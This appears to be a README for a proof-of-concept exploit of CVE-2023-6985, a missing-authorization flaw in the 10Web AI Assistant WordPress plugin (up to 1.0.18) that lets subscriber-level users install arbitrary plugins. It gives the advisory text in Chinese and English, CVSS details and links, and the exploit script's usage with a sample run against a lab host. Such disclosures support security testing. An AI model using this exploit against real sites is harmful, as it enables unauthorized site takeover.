10Web AI Assistant – AI content writing assistant <= 1.0.18 - 缺少授权检查导致已认证（订阅者+）用户可任意安装/激活插件 描述
WordPress 的 10Web AI Assistant – AI content writing assistant 插件在 1.0.18 及之前的所有版本中，由于 install_plugin AJAX 操作缺少权限检查，存在未经授权修改数据的漏洞。这使得具有订阅者级别及以上访问权限的已认证攻击者能够安装任意插件，并利用这些插件进一步获取对被入侵站点的访问权限。
Severity: medium
CVE ID: CVE-2023-6985
CVSS Score: 6.5
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Plugin Slug: ai-assistant-by-10web
WPScan URL: https://www.wpscan.com/plugin/ai-assistant-by-10web
Reference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/229245a5-468d-47b9-8f26-d23d593e91da
Diff URL: https://plugins.trac.wordpress.org/changeset/3027004/ai-assistant-by-10web/trunk/ai-assistant-by-10web.php
Download Vuln: https://downloads.wordpress.org/plugin/ai-assistant-by-10web.1.0.18.zip
python3 CVE-2023-6985.py -h
usage: CVE-2023-6985.py [-h] --url URL --username USERNAME --password PASSWORD --slug SLUG --php PHP
10Web AI Assistant – AI content writing assistant <= 1.0.18 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation/Activation Description CVE-2023-6985 - The 10Web AI Assistant – AI
content writing assistant plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the install_plugin AJAX action in all versions up to, and including, 1.0.18.
This makes it possible for authenticated attackers, with subscriber-level access and above, to install arbitrary plugins that can be used to gain further access to a compromised site.
options:
-h, --help show this help message and exit
--url URL URL of the WordPress site
--username USERNAME WordPress username
--password PASSWORD WordPress password
--slug SLUG WordPress Plugin Slug
--php PHP WordPress Plugin PHP file
python3 CVE-2023-6985.py --url http://wordpress.lan --username user --password useruser1 --slug display-php-version --php display-php-version.php
Logged in successfully.
Getting REST API Nonce!
Nonce Found: df8390ff4b
Installing Plugin
Downloading installation package from https://downloads.wordpress.org/plugin/display-php-version.latest-stable.zip
Unpacking the package
Installing the plugin
Plugin installed successfully.
{"success":true}